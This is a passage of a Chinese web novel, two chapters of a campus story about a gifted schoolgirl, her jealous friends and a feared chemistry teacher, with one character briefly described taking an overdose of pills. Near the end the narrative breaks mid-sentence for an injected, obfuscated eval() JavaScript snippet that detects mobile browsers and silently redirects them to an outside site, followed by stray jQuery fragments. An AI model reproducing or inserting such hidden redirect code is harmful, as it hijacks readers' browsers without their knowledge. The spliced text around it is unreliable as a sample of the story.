“嗨。”倪旖眨巴眨巴大眼睛,左侧脸颊还有小梨涡,一副无辜模样。 丁戈晖抖抖肩膀,下意识一脸排斥躲避,随后内心都滚烫。 “……”大马猴到底不懂女人的心,便翻着那翻着就完犊子的书本。 “我们当朋友好不好嘛?”倪旖很想丁戈晖当她好朋友,很好的那种,所以把所以东西都展示给她看,可她依旧很不耐烦。 她不太懂。 “滚——”丁戈晖那表情就是多看一眼就要被骂的感觉,太凶了。 倪旖只好悻悻离开。 望着她落寞背影,大马猴谢灵桓不解询问:“至于嘛?” “是啊,你们觉得不至于,你们觉得多事。”丁戈晖头都没抬,平常语气道,只是咬牙憋着气,这个人这辈子没遇到过什么不幸,这种人活着就是对我的挑衅。 她像个濒死荆棘鸟,泣血还高歌。谢灵桓只是错愕,随后淡然:“你这话好酸。” “我讨厌她,恨不得她身败名裂。”丁戈晖面上表情不变,轻描淡写,偷捂着发痛的肚子。 谢灵桓没再说什么,只是深深望着倪旖离去那吊儿郎当的可怜背影。 13. 搭讪 倪旖这种人真是惹人忌妒,生来巅峰,一路顺遂,对于丁戈晖这种凭着自己摸爬滚打挣出一片天地的草根角色来说,似乎带着理所当然的指引。 丁戈晖天生鄙视她,却又情不自禁被她那片天地的光芒和茁壮的生命力吸引,如此理智嫉妒,导致周围人时常怀疑她要干票大的,下一秒就绑架禁锢倪旖来折磨。 这才是那种所谓世俗富裕乐观者对草根最晦涩阴暗的致命吸引,那种真正意义喜爱,她们人格是平等的,她们灵魂是共鸣的,在感情的世界里没道理可讲。 喜欢就一定要在一起嘛? 敌对就一定是没感情嘛? 二次元坐在椅上,她绝望并笃定,这辈子没人再比倪旖更重要。 丁戈晖无数次诅咒她衰老,她褪色,她枯萎……怎样都可以,可她永远爱她。 此刻,她的胃里过量药片开始扮演作俑者,困倦慢慢从身体中心弥漫开来,所有纷繁嘈杂也慢慢飘远。 药物就是给你一场永远下着的梅雨。 细细密密,朦朦胧胧,浇灭精神炽热的野火,也抹杀了阳光下笑得打跌的她。 有时候她想,倪旖是不是类似于精神疾病带给她感觉相同的人类,从遇见她的两年前的那一瞬突然迎来了一场永不停歇的梅雨,凝滞,燥热,潮湿,连呼吸的每一口都混着稠得跟浓粥似的压抑,爬满你的呼吸道,钻进你的肺,连眼睛也蒙上了一层茫然而特殊的图层,以至于看待有关她的一切都带着“有失偏颇”。 习惯是一种很可怕的东西。 她一直得病,一直不承认,也许可能是刻意忽视。 不过短短数日,忌妒,还不是判刑较轻的“嫉妒”,这种行为,对丁戈晖而言,就变成了一种每日必须的、稀松常见的惯例之一。 她在陷入绝望的牛角尖那一刻,第一反应不再是自我厌恶,她开始顺从,甚至迎合,自证思想的清白。 底线,在不知不觉中逐步衰退。 就算倪旖忽视她的存在,放任她的虚荣,默许她的诅咒,可是丁戈晖渴望一切,不论是施舍还是加害,也许只是想想,对,想。 丁戈晖咬着下唇,盯着倪旖送的小熊□□笔袋,神情有一瞬间温柔。 这傻子,偷塞笔袋在课桌里,还伪装暗恋男孩送的,谁的字都没她丑。 似是想象倪旖那做贼心虚模样,她粲然一笑,随后飞快狠厉起来,攥拳暴击小熊脑袋。 “我那时就该把你丢到海里。” 恨得情深意切。 在过去的日日夜夜里,她翻来覆去地恨,发自肺腑的咬牙切齿。 然而色厉内荏罢了。 大马猴悻悻而归,小声嘟囔:“果然人还是得睡眠充足,这一天天的,睡不够的人果然容易精神不正常~” 二次元眼里发冷,淡淡道:“还是喜欢你原来桀骜不驯的样子。” “……”大马猴挠挠头离开。 眼镜佬咬唇攥着手机马不停蹄离开这丢脸地方,真是装逼不成反被打脸,报应啊,报应啊,这竞赛班保送生大佬都走了其他人战斗力还这么强。 竞赛班保送生离开,空余位置被燕颐班靠前生补充,主要是降分录取生,或者直接裸分顶尖院校的顶级小镇做题家。 幼儿园和小学过度阶段还不叫“学前班”而是叫“育红班”,但是由于极端抽象班风,这竞赛班又叫育红班。 还有过来玩的大佬丁戈晖。 明明都保送,还来。 都知道,她是因为倪旖而来。 但倪旖不知道。 大马猴等人离开笑得撅死,这男的就纯纯找罪,笑道:“你说,他没事惹妹妹干嘛,欠欠儿的。” 甄凝扶额浅笑两声,那眼神,鄙视中带着一丝恶毒。 “活菩萨不常见,活阎王这算是第再次遇到了。”林愈合没心没肺笑道,很轻松。 “这男的遭报应,自以为多厉害,哪来的脸展示优越感。”二次元嘴毒,上节课听得她想吐,搞得很牛逼,那鼻子都快长脑袋顶上,烟囱似的。 “我就是觉得他说话特冲才怼的。”倪旖解释着,瞥见门口那位她喜欢的老师,贞子姐,怕她误会不跟她玩儿。 甄凝就连她一根汗毛都知道,便笑道:“人走了,别装。” 倪旖耸耸肩,随后小孩子性格兴奋道:“贞子姐有没有看到我的整个处理过程,有没有一种可能,她会称赞不畏强权深得朕心……” 林愈合无语:“我会给你编撰起居录。” “我现在就要看。”倪旖知道林愈合小作文写得好。 林愈合被冒金光的大眼睛看得无法拒绝,便在纸上写。 以下是根据当时现场同学老友后来的回忆和可靠叙述阐写: 倪旖,号毒嘴仙人,字卡卡,花名妹妹,反应极快,像一匹脱了缰的野狗一样横跳,鼻孔朝天,颇具节奏感地和紫衣贵族进行有效沟通,在有条不紊地礼貌陈述观点的同时还不忘用温柔理性的声音试探性提供帮助:帮他擦黑板。然后于老师痛哭流涕被说服,事件完美无虞解决,最后她紧张地问:“贞子姐姐有没有看到我的整个处理过程,会不会……有没有种可能她会褒奖我……” 倪旖嘚嘚完又去门口跟朋友唠嗑。 “供需关系不一样,咱班空气里都是人才粒子,就是那些保送的不来,人才粒子密度有点稀疏。”丁索隐嘀咕,翻看标签,少糖,多冰,椰奶冻奶茶,特地多加椰奶冻。 不过,这玩意儿没想象的那种冰。 丁索隐狐疑转转奶茶傻眼道:“冰呢?” 硫化氢同学屁颠屁颠过来,端端正正跟小学生似的举手回答,随后一对视后敬个礼,铿锵有力道:“到!” 丁索隐没理解他脑回路。 周围人爆笑。 “神经冰也是冰。”倪旖淡淡道。 “妹妹,来,吃根辣条。”硫化氢同学分享刚拆的素食鲜牛筋,这玩意儿一根一根的,特有嚼劲儿。 倪旖瞅着那冒尖辣条,嫌弃用手脏兮兮的,便准备拒绝那想他往上挪挪辣条位置怼她唇边,不好意思拒绝,张嘴吸溜吸溜就一个劲咀嚼,那腮帮子叫一个难受。 硫化氢同学还等着回馈夸奖。 倪旖嘟囔着:“你这跳绳哪买的?味道还不错哦。” 该死的笑点。 硫化氢同学真是笑到喷饭。 “来,给我一根尝尝。”大马猴凑上去蹭吃蹭喝。 “你滚——”虽是这么嫌弃,刘湖岐还是给他怼嘴喂他吃一根辣条。 刚咀嚼几口,大马猴就辣得上蹿下跳,连忙飞奔到林愈合座位,俯下身在她桌洞翻牛奶,攥着袋包装纯奶,就凑到嘴边咬开,连喝几口,疑惑瞅一眼配料表,还不忘吐槽:“牛奶换牌子了?这纯奶一股薄荷味,你喝一下。” “是吗?”林愈合怼上面喝一口,仔细咂摸品尝,“可能那牛吃薄荷长大的。” “怪怪的,下次给你买正规的牛奶,这牛奶味道都淡出鸟来了。”大马猴将俩人喝剩下的袋装奶喝完才丢到垃圾桶里。 “愈合要不要来一根?”刘湖岐伸直胳膊往她那边。 “不用,破辣条,一点都不辣。”林愈合攥着一根笔在指尖转。 “你怎么知道?尝尝呗。”刘湖岐说罢抖抖手掌示意她过来搞一根。 “刚刚谢老板喝牛奶,我咂摸味儿,不辣。”林愈合随口说,下一秒脸颊绯红。 林愈合跟谢灵桓关系简单得就像高考数学第一题的复数或者集合,连答案都让人懒得写,两边都保持着暧昧,暧昧得很自然,明明没正式确定关系都处出来老夫老妻模式,分享好吃的都是你一口我一口咬的,不嫌弃。 刘湖岐搞怪叫了声,就爱瞎起哄。 林愈合红着脸解释:“倪旖吃不了辣,我猜的。” 倪旖很无辜就被拿来挡枪,幽幽道:“我吃不了辣,硫化氢会投喂辣条?” 她突然想到师哥,他家乡火锅最著名,应该很能吃辣,以后口味不一样咋整? “还不是他为了要——”林愈合正准备说,就被从门外溜达回来的大马猴捂嘴。 班里八卦大家都心知肚明,硫化氢同学爱吃小零嘴,但是为了投喂甄凝那个怕辣到死的减肥疯女人硬生生把小零食都改为孜然味儿,连该辣的辣条都是孜然味十足,所以倪旖才敢接受投喂,不然此刻早就上蹿下跳找水喝。 甄凝真的情感迟钝,已经傻到完全感知不到线索,刘湖岐已经按捺不住要给她提示了,烧烤味辣条就是赤裸裸的表白。 “哪家傻叉辣条烧烤味?你猜它为啥叫辣条?”甄凝小声嘀咕。 刘湖岐没听着,在和别人聊天中沉浸,适当给林愈合台阶,也怕她瞎说,便扫视一眼,笑道:“ultra boost咋就能让谢老板穿出北京老布鞋的感觉的?” 大马猴接过话茬:“这校服夏季的常服很丑,连带我鞋都丑,不过我那新鞋可是椰子的,等会儿打篮球你别光盯着我鞋子看。” 倪旖就是对女孩子很不错的,都会记着喜好。 丁索隐瞥另一杯,也符合点奶茶配料习惯,给刘湖岐招手:“搞一口。” “我也聊一根。”二次元闻着味就来了,举着手板板正正等着投喂。 “你们,班上没几个人,一个人搞一口,一袋都没了。”刘湖岐埋怨,随口叭叭叭过来从第一排开始投喂辣条,除了不熟悉的和忙着刷题的,都来了一口。 其中,倪旖还恃宠而骄,不要脸过去搞了两口。 “谢谢。”徐浣若轻声道,只是眼神微微黯淡,将奶茶放置一边。 跟她那种软妹说话当时的感觉,就像心口被击中了一枪,而子弹是一颗甜津津的大白兔奶糖。 倪旖就爱逗软妹,抬手轻轻捏了捏脖徐浣若子上软肉,跟个卡皮巴伯似的趴在她后背上,亲昵搂着她撒娇,叹了一口气:“我可不太喜欢听你跟我说谢谢我。” 谢谢这个词,总是会不知不觉拉开距离,像一道无形透明玻璃墙。 明明离得很近,却又离得很远。 有这样一种人,他们似乎有特殊磁场,圆融自在,自己就能成一方世界。 这个徐同学就给倪旖这样的感觉,所以她就老去招惹。 “谢谢。”徐浣若羞得不行,埋头就假装丢东西蹲地板捡圆珠笔。 垂眸时候,徐浣若眼里淡淡失落。 倪旖是乐天派,常年心情愉快,上学的心情也不会如同上坟。 她蹦跶着,身上叮叮当当。 跟圣诞老人送礼去似的。 她真的羡慕这个朋友。羡慕她书包上可以挂满有关迪士尼的一切,星黛露可琦安玲娜贝儿。不管是胡吃海喝还是叫嚣着减肥,她父母都乐呵呵陪她闹。不管再疯癫无厘头,总有人陪她探索,她时时刻刻都不缺别人喜欢。 有时抱怨那些她渴望却得不到的东西,也会不知不觉刺痛她。 徐浣若总是告诉自己,不要太敏感,可还会想,她这是一种很龌龊的嫉妒。 倪旖呢? 她是不是那种很龌龊的遗憾? 也许这上不来台面的字词都会把她弄脏,她跟她玩,不过就是交朋友,这个朋友恰好是她徐浣若罢了,不是舍不得那怯懦别扭需要自己悯怀的可伶虫。 人和人之间的差距那么可怖,此时的徐浣若在沉默寡言下疯狂妒忌,多么希望被小王子套上玻璃保护罩的那个小玫瑰是自己。 她无比深刻了解倪旖表面埋怨之下是满满松弛的自由自在,一种真正被爱的快乐。 好多分钟好多秒刻她会自然而然将里面的倪旖置换成自己,想着想着,就极其窘迫心酸却快乐地享受偷来的幸福,即使很短暂。 她的忌妒是很卑劣的,是很可怜的。徐浣若失落想着。 分神当口,徐浣若默默捡起笔,抬眸时恢复羞涩到有些卑微的神情。 玲珑心不过如此。 “牛逼,那男的欠敲打。”丁索隐则大方多了,直接飞香吻,还在回味刚才起义壮举,反手就将奶茶吸管插进,低头喝起来。 倪旖脸色微微发冷:“你要是好好说,我基本上就饶了,但是你要是不长眼,我也会教教你。” “妹妹真帅。”丁索隐举大拇指。 倪旖就爱揩油,直接上嘴亲丁索隐脸颊,说着还从包里淘特产给她俩,伊朗参赛时买的藏红花特级。 “我好歹是物理课代表,我等会儿去瞅瞅那哥们,虎背熊腰,看着彪悍至极,听说,是个哭包。”丁索隐兴奋要命,很想瞅男人掉眼泪,尤其是彪悍男。 其实吧,紫衣贵族长得不丑,就审美很一言难尽。 “去吧~”倪旖敷衍道。 丁索隐拢拢头发,凌乱棕色卷发随意地披在肩上,她喝口凉水,扬扬手。 “妹妹我也要。”边上姑娘难受。 “甄快活,你别 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倪旖乖巧点头,雷点跳舞道:“我知道啦,甄……快活。” 徐浣若捂着嘴偷偷笑。 丁索隐笑得很路人甲。 倪旖眼力见儿,再次较为丝滑转移话题:“老徐是谁啊?” “你又掐我语音了?”甄凝气得要吐血。 倪旖四周乱瞟,拎着领口给自己扇风,假装断线,太长语音就听三秒。 倪旖从小到大都是孔雀开屏性格,就算现在也总跟好闺蜜撒泼耍赖。 倪旖真的懂甄快活,抬手将纤细的手指结结实实地划过娇媚女孩唇瓣。 虽然只有短短两秒,但甄凝也能感受到划过自己唇瓣的温热触感。 倪旖觉得女孩的唇软且厚实,肉肉感十足,指腹擦过,触感格外舒服。 她想亲上去的,但怪怪的。 她可能是个渣女,碰到个嘴唇就想亲过去。 倪旖看眼干净手指,垂眸时眼皮有些笑意,懒散道:“例行检查。” 例行检查?检查什么? 甄快活被这一下刺得唇边有些红,好半天都没缓过神,耳根燥热,欲盖弥彰地看向窗外,也没继续说话。 倪旖就是爱撩妹子。 “哇哦。”丁索隐都看呆了。 徐浣若耳尖发红,捂耳抬眸偷看。 硫化氢真的吃饭磕到门牙似的,瞳孔微微放大,轻轻鼓掌。 “英文名哈里,也叫费力杠杆,做事跟别人不一样,人又欠,轴得跟半年没涂润滑油的似的,风评不好,学生同事都不太喜欢他的那种。”大马猴跟卖报的小郎君似的分享小道消息。 “居然有人名字念起来一股海鲜味儿。”倪旖嫌弃得揉揉鼻尖。 哈里,蛤喇,挺像的。 这个班男生多,就臭烘烘的,女生多的班各种洗发水香味,特好闻。 教室空调旧得只能局部制冷,适合中老年朋友,温和缓慢出风,跟电风扇似的,光顾着搅和,从不反思性能。 倪旖顺出风口往后排,头发末梢轻微汗湿被吹得冰凉。 甄凝坐旁边,这人仿佛不会出汗似的,校服没脱,只把袖子撸到手肘。常年伏案稍不注意就会驼背,她却一点儿毛病都没有,清爽干净。 一到座位,倪旖把刚收拾好的书包放下,侧过身子,咬着短袖衣摆,从书包里掏了盒膏药出来。 倪旖随手将林愈合脸上遮着的数学书弄下来,把膏药递给她,那姑娘吓得一激灵连忙结束打盹:“快快快!” 林愈合这还盖着书在睡呢,连忙坐直身子,差点儿把凳子翻过去:“啊?” “愈合,来。”倪旖抻着胳膊肘。 林愈合小狗附身似的把膏药给一滴溜咬开,随手拧了盖子,掏了棉签熟稔给她擦药,那肩膀处淤青还破皮。 “怎么啦,卡卡?”林愈合心疼道。 “路上有人要我联系方式。”倪旖难以启齿敷衍道,胳膊肘有点痛。 “你不同意,”林愈合缩着脖子,讪讪一笑,“……然后你给他打断腿?” “差不多,”倪旖大方说,“他拉拉扯扯,我猛一甩手,他惯性摔了,给我扯倒,还好,我又补一脚,不亏。” “……”林愈合真觉得她牛劲大。 大马猴半依靠在桌拐,适当询问:“那妹妹择偶标准是什么?” “至少跟我爸样貌同一等级。”倪旖低头捣鼓捣鼓书包。 “你这是单身宣言。”林愈合是知道倪鸣先生样貌的,数一数二的美男,骨像绝了,三庭五眼,跟古风深情动漫男似的。 为方便林愈合动作,倪旖头垂得很低,背也微微躬起,仿若一座沉默无声的青山伫立在她跟前。 “我爸还行。”倪旖也没觉得多漂亮,但周围人都说漂亮那就漂亮吧。 “还行?这个‘还行’标准不是一般高。”大马猴感慨着。 刘湖岐听到话题也刚好分发辣条到这个坐标区间,啧啧道:“一般人看到帅哥只是感慨一句好帅,看到倪总那是直接卧槽卧槽救命,帅得毫无人性,他那次新能源电混燃油汽车品牌发布会演讲,低头一笑,那叫一个邪魅狂狷啊。” 倪旖疑惑:“我爸公司都进军新能源汽车领域?” “……”刘湖岐攥着笔拍拍她脑壳,“你爸作为天使投资人,那天眼通上占股企业小圈圈比学校门口步行街老太婆卖的卡通气球还多,贼拉风。” 林愈合适时嘟囔:“倪总投资风格一向是不干涉具体业务。即使是全资投资的,也不会强行干涉运营,很牛掰的。” “你爸那燕兆毕业的特等奖得主,个人感觉就是个大号机器猫,无所不能。不管你说什么,他都能很快弄明白,并且比你懂得更多。但是,非常谦逊,永远对未知保持谦逊和好奇,尊重每个人。”刘湖岐很佩服倪鸣,毫不吝啬赞美词。 “不准摸头,刚洗了呢,弄油了你帮我洗头发。”倪旖把硫化氢手刷开,幅度一大那就躲开了林愈合手里握着的细棉签,顺带解释。 倪旖倒没觉得daddy多牛逼,谦虚:“倪总哪有那样牛掰,他学业期间每天就是踢踢球泡泡妹子看看电影,每天特开心,我妈就想,我daddy这么菜,为啥能这么开心呢。于是她每次想到我爸,心理都能舒服点儿。” 14. 贞子 “你妈这样跟你谈你爸的?”大马猴看热闹不嫌事大。 棉签压着擦过伤口,刚止住的血又浸了出来,林愈合心疼死,居然刮花脸,蹙紧眉心,伸手掐着她下颌把脸掰了回来,语气重了些:“别动。” 这两个字多少带了点命令的意味,倪旖不自觉停下了蹿起来反击的动作。 林愈合就是她在学校的“妈”,丁索隐是正常朋友,徐浣若是羞涩到总被逗的,甄快活是打打闹闹互怼的,丁戈晖就是脾气不好的灵魂同路人。 倪旖眼睫毛生得长,根根分明,如同雏鸦羽毛似的密,这样半合着眼眸安静坐着,一层浅薄阴影落眼下。 就是很好看。 林愈合喜欢她这种长相性格反差感。 她长得很小很倔强,所以外号叫妹妹。 “好了。”林愈合低头快速收拾药瓶。 倪旖点点头,转而坐好,连坐得不端正都得被林愈合骂一通,她超多母爱。随后又接着聊天:“是啊,我妈可嫌弃倪总,每天都说他呢。” “不可能吧。”大马猴明显不相信。 “因为我爸跟我妈搞对象时自由恋爱,没说自己是燕兆的,也不晓得是联姻对象,我妈以为他就一黄毛混混,可看不上他,但倪总确实戳中她癖好,得知他情况,闹了一次分手后坦然接受道歉,很快就有我了。”倪旖幽幽道。 “听着挺不靠谱,”大马猴意识到话说错了,赶紧解释,“我是说随性。” “就不靠谱,我出生前脐带绕颈,我爸等情况不危急后感慨,她这么小就想不开,好没出息;刚出生医生让我爸核对一下,他竟然说不认识我,不知道怎么核对;就连纸尿裤用完,去买NB码,newborn,他跟店员说,牛逼码。” 倪旖一件一件抱怨,这都是捡着好的说,倪总那心思只在许研究员身上。 周围人笑得喘不过气,这么雷厉风行的倪总还是很可爱的。 倪旖没说的是,她挤带绕颈时倪总看着彩超里痛苦小脸担心得掉眼泪,她出生时总高兴得傻掉、连之前做的流程演习经验都忘记,她没纸尿裤穿时倪总着急得忘记派遣助理去买、自己就急匆匆到半路才想起多此一举……关心则乱就是如此。 “最近别手欠抠,留疤。”林愈合很心疼,叹口气,跟她在一起有种养成系成就感,倪旖是她的玩偶娃娃。 “给——”倪旖从包里拿出给大马猴带的顶饿零食。 大马猴一愣,高兴起来,拆开塑料包装就吃起来,还是那味道。 “国外猪都不阉割,这炸猪排跟那味道雷同。”倪旖嘀咕两句,“……艾莉都没它骚。” “……”大马猴瞬间少了点食欲。 这猪排哪里骚? 炸得酥脆的面糊包裹着软嫩猪肉,白色一次性塑料杯里装满鲜红糖醋酱。 “猪一生可能只能享受一次也就是一种烹饪方式。”林愈合幽幽道。 “猪还能享受第二种烹饪方式吗?”蒋商鉴低头随意圈上一个错误选项。 “8.9元的路边猪享受一百八猪排包装大师推荐的高端烹饪方式。”倪旖耸耸肩,直接说低价让大马猴降低期待,诚心让他别扭。 “你妈——”大马猴紧急收声,毕竟人家妈不能随便骂,“我是说,你亲爱的母亲。” “大年三十的菜反复热到大年初七还在吃,就是这感觉。”倪旖蹙眉打断。 “改天你也款待一下我啊?”大马猴胳膊肘特哥们戳戳她肩膀。 “难不成你每天吃的都是屎啊?”倪旖往边上躲躲,嘴巴恶毒。 正要狡辩,大马猴肚子咕噜噜咕噜叫唤,特尴尬欲言又止。 “肚子里养蟋蟀了?”林愈合笑嘻嘻用指尖戳戳大马猴肚皮。 大马猴觉得对倪旖那张恶毒嘴吃就没食欲,小跑去走廊,狼吞虎咽起来。 清澈且愚蠢的男孩双手撑着冰凉扶杆侧目而视,胳膊肘鼓捣一下他小臂,蹙眉好奇问:“学长,那女孩怎么去你们班?” 大马猴往里瞥一眼,直接忽略刚从厕所回来的小透明徐浣若,目光聚焦在倪旖身上。 大马猴咳嗽两声,随便解释:“高一吧?” “准高一,我是预科班的,暑期提前参加专科培训。”男孩才来这边没几天。 “那叫倪旖,国外回来给学校打招牌,很牛逼。”大马猴点点头,骄傲介绍。 “她有男朋友吗?”男孩很直接,只是眉头稍显疑惑,她垂眸时看起来谨小慎微,不像边上那个女孩自信满满的,一对比简直黯淡无光。 “……”大马猴真佩服他勇气,果然新鲜零件就是不抗揍,敢说出如此大逆不道的鬼话,秉持救人一命胜造七级浮屠的顶级善良,“别追,容易死。” “……”男孩斩钉截铁,目光定在那怯懦女孩身上,“我很喜欢她,她长得很可爱。” 可爱?弟弟啊,你果然涉世未深。 大马猴都恐惧这唯物主义战士不懂这小女鬼手段,敢追她,先断腿。 “学长,你有她手机号吗?”男孩偷偷摸摸携带手机就想拉近乎。 大马猴没说话,私自给别人手机号不礼貌,但他都点开手机联系人。 大马猴顺口报出自己手机号。 男孩就发送联系人名片,随后跟他继续聊:“她真的好好看,没喜欢的男孩吗?” 大马猴满嘴油,声音浑厚道:“没听她说过。” “那就好。”男孩今天才入学,因为骨折都没参加军训,白得晃眼。 “倪旖喜欢生物男,高智商那种,”大马猴幽幽道,随后遗憾感慨,“我这个元老可不想眼睁睁看着她从天成地久到曾经拥用,悲剧啊。” 男孩不了解这些,只知道那怯懦很可爱,他很喜欢,想多一点了解。 大马猴善意提醒学弟别送死,淡淡道:“买个意外保险,最高额那种。” “……”男孩还是不懂可怕缘由。 男孩带着很老土的黑圆框眼镜,顺着对角线看去,自己喜欢的姑娘那对角线,貌似是早上不小心撞到的人,很粗鲁的,战斗力很强。他最反感女孩子暴力。 倪旖挺出名,总得男同学青睐,情书求爱、婉转邀约简直让她应接不暇。 自从被一混混频频展开攻势,简直让她难以招架。 那人锲而不舍,倪旖厌恶至极,踹掉他大哥位置。 倪旖现在很牛逼,手下还有好几号俯首称臣、纳贡的中二小弟。 准高三组老师个个都打了鸡血似的,恨不得在脑袋上系条红丝带,上面写上“高考必胜”,班主任成天在自习课上强调着题海战术,重点班还行,特放松,毕竟每个人身上都有加分项目,比裸考简单多了。 倪旖呆座位上,收拾位置,感觉像动物园新进的猴儿,游客从四面八方涌过来,把她围得严严实实。 这大马猴吃完猪排还不做人特乐意当导游,用那种五一劳动勋章备选人冲刺的热情劲儿:“妹妹又得第一啦?” “嗯。”倪旖鼓捣座位,这该死蓝白座椅偏偏附带午休躺椅功能,不注意容易塌。 甄凝搁边上,一脸虚弱地倚着墙壁,拎领口扇风,片刻才憋一句:“怎么回事啊你这是?假惺惺的。” “欢迎妹妹回归大家庭啊。”大马猴本着班委职责去关心,被撅回来了。 倪旖被窗外烈阳晃得眯起眼,热意从额前耳后泛上来。 “我回来也不见得欢迎。”甄凝略带怨气,百无聊赖地撩着书包带子。 铃声一响,倪旖听着嘈杂人声退潮似的渐渐远,从走廊到楼梯,然后消失不见,整个顶楼便安静下来。 大马猴不慌不忙坐倪旖后边,继续唠嗑:“妹妹,你咋不直接上大学。” 倪旖将本应背在身后的双肩包紧紧地抱在了胸前,上身微微前屈,像是在奋不顾身地保护着里面的书。 “听不懂汉语,”倪旖有点烦躁,随便敷衍,“……我妈怕我拉裤兜子。” “……”甄凝不出意料猜道。 你没事吧? 今天又抽什么风? 出门忘吃药,还是上网被盗号? 大马猴彻底哑口无言,偷摸着嘀咕一句:“那你跟那肌肉男什么关系啊?” “夫妻关系。”倪旖胡扯。 “……”大马猴持续无语,脑壳疼到一直晃着。 倪旖瞅不惯他模样,跟他学学晃脑壳动作,小嘴抹了蜜似的笑笑:“你得了脑震荡啊。” 走廊里突然响起“笃笃笃”的高跟鞋声,倪旖吓得回神看过去。 就见一个留着长直发的鬼影从窗边掠过跟没长脚似的,一阵风飘过去,这阴森森模样想都不要想,贞子姐,化学老师李贞。 这帮老油条谈“贞”色变,怂到脸色发白不敢看鬼片,夸张到这字都不乐意在生活中瞅见。 倪旖赶紧摆正姿态,很怕这夜叉。 虽说是夜叉,但是极其漂亮,此刻那孔雀蓝烫金缎面马面裙配着同色系高跟带着独特节奏迈入门里,脚背白瘦,一动都得瞅着偏绿的青筋。 “哟,妹妹回家啦?咋不找我聊聊天。”贞子姐将一沓试卷丢给课代表。 口音很是霸气。 倪旖僵硬笑笑。 我怕你把我聊死。 文字有杀伤力的,尤其搁你嘴里。 贞子姐姐一愣,原以为只是谣言,这小姑娘真的很勇敢,随后浅笑释然轻轻道:“妹妹现在在哪里高就啊!” “赋赋闲……在家。”倪旖很懵。 “别怕啊,你可跟这帮老油条不一样,还没炸呢,面粉团子,好rua。”李贞语言间有点倦意,笑得慵懒。 好rua,倪旖听着,跟好欺负似的。 “……”甄凝听着都快笑出来。 “嗯,我最软啦。”倪旖尬笑,刻意将声音夹得甜甜腻腻,每句话都还带着尾音,跟裹了层糖似的,撒娇的时候能把一堆人激起一身鸡皮疙瘩。 “听她撒娇我差点原地去世……那声音,真甜腻,跟妹妹暴躁小辣椒形象不搭配。”大马猴用胳膊肘捣捣同桌林愈合。 同桌就敢偷摸听着,不敢得罪贞子姐姐。 “……”大马猴偷摸着嘀咕,“这夹得我晚上睡不着。” “……咦~”甄凝一愣,笑得羞涩,涩到不忍直视,捂脸直摆手,“你好……下流。” “哈?”大马猴还没反应,随后白眼,“咦,你好恶心。” 坐在倪旖俩前排两同学不动声色将椅子一点一点往前拉,偷听对白,吓得够呛,桌脚拖地上发出细微声响。 大马猴也预感不对劲,拉着桌直到前胸紧贴桌边,勒得胸腔感觉有点窒息才罢手,竭尽所能避免祸害。 “……”甄凝瞥一眼倪旖。 倪旖从小就在孩子堆里摸爬滚打,疯癫得很,小时候挨得揍多,冒了个子之后基本上就只有她揍别人的份,鲜少能体会到被人压制的感觉。 战斗力爆表不假。 倪旖眼笑得依旧甜腻,只是随手将烟丝色眼镜摘下,垂眸恹恹的。 听见大马猴的话,倪旖抬一下倦怠眼皮,冷冷目光从对方脸上一扫而过。 倪旖晃晃眼镜,漫不经心笑笑,依然有点恹恹的,镜框横着割就跟抹脖子似的,算是威胁。 某人前面还勉强靠谱,到了后面就纯属胡说八道。 “……”大马猴也就是话赶话蹦了这么一句,说完就觉得不太妥当,看到抹脖子动作更有点后悔。 大马猴抿着嘴,做个合拉链手势。 “小考啊。”贞子姐说完就出门。 大马猴一高兴就爱说话:“贞子姐姐,你高跟鞋好靓。” “我也觉得,而且,逃婚就这双,会跑得快。”李贞语气愉悦,扬长而去。 化学课代表叫苦不堪,苦着脸发卷子,这考试是二十分钟随堂限时训练。 倪旖懒得理就麻木静坐,肩膀突然人戳了两下:“妹妹,我给你抄。” “……”倪旖一愣,“你妈的神经病啊?” 大马猴就是逗她,这妹妹脾气爆,今天跟吃了鞭炮似的。 倪旖扭头逼视他:“我想怎么填就怎么填,关你什么事?还要戳我说。” 大马猴忽然摊开掌,卑微道:“我戳是想问,你打算把我的卷子扣到什么时候?” 倪旖气焰嚣张,一瞬间熄灭,呆呆道:“不好意思啊。” 倪旖坐后排,有时候觉得,这一班碎冰冰,每个人像链条损坏学习机器,完全没自主性,被推着不断向前。 倪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222316|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旖将卷子传递,抬眸环视四周。 周围人难得偷摸着八卦,不敢太明目张胆,只能三五凑头暗搓搓地聊,在平日相处中偷窥似的琢磨。 倪旖气得够呛,寻思都把她当猴。 倪旖将啪嗒一声笔一摔。 甄凝正写作业,猛地被吓一批。 倪旖刚起身就被她死死箍着,不得不把头低下来配合,气得仰倒在椅背,半晌之后指着甄凝怒道:“欠抽。” 大马猴吃瓜呢,被别人目光刺到,幽幽地说:“你俩走不走?你再不走,我就勉强留下来看个攒劲的节目。” 倪旖脸颊被她手臂磨得皮肤都漫起一层薄薄的红,使劲挣扎,逃脱开来踹门上厕所去,她真不适合集体生活。 这也是妈妈让她到高三适应集体生活的原因,磨磨暴躁脾气。 甄凝偏头着急跟过去。 大马猴也不矫情,幽幽道:“让她走,让她走,她等会儿就回来。” 甄凝扭头道:“……其实,我是想逃课躲贞子姐姐的试卷” 大马猴立马起身,着急道:“带我一个啊。” “妹妹啊,我也安慰你去……” 这跟倪旖关系好的都伺机而动。 风一吹,树叶哗哗作响,抖落一地细碎湿漉漉香樟馥郁,倪旖双手插兜站在影影绰绰树下,肩头落下一片阴影。 倪旖那表情,明显不高兴。 这俩人一走,乱七八糟的问题劈头盖脸扔过来—— “妹妹真保送那不上趟的岽大?” “妹妹脑子是不是有问题?” “妹妹为啥不去top?” “妹妹中邪了?” “妹妹好疯癫,我真的好爱。” …… 班级这个最小单位的圈内关于这段龃龉有不少说法,传得最有鼻子有眼的莫过于倪旖莫须有错综复杂感情问题,据传她因为男人要放弃top。 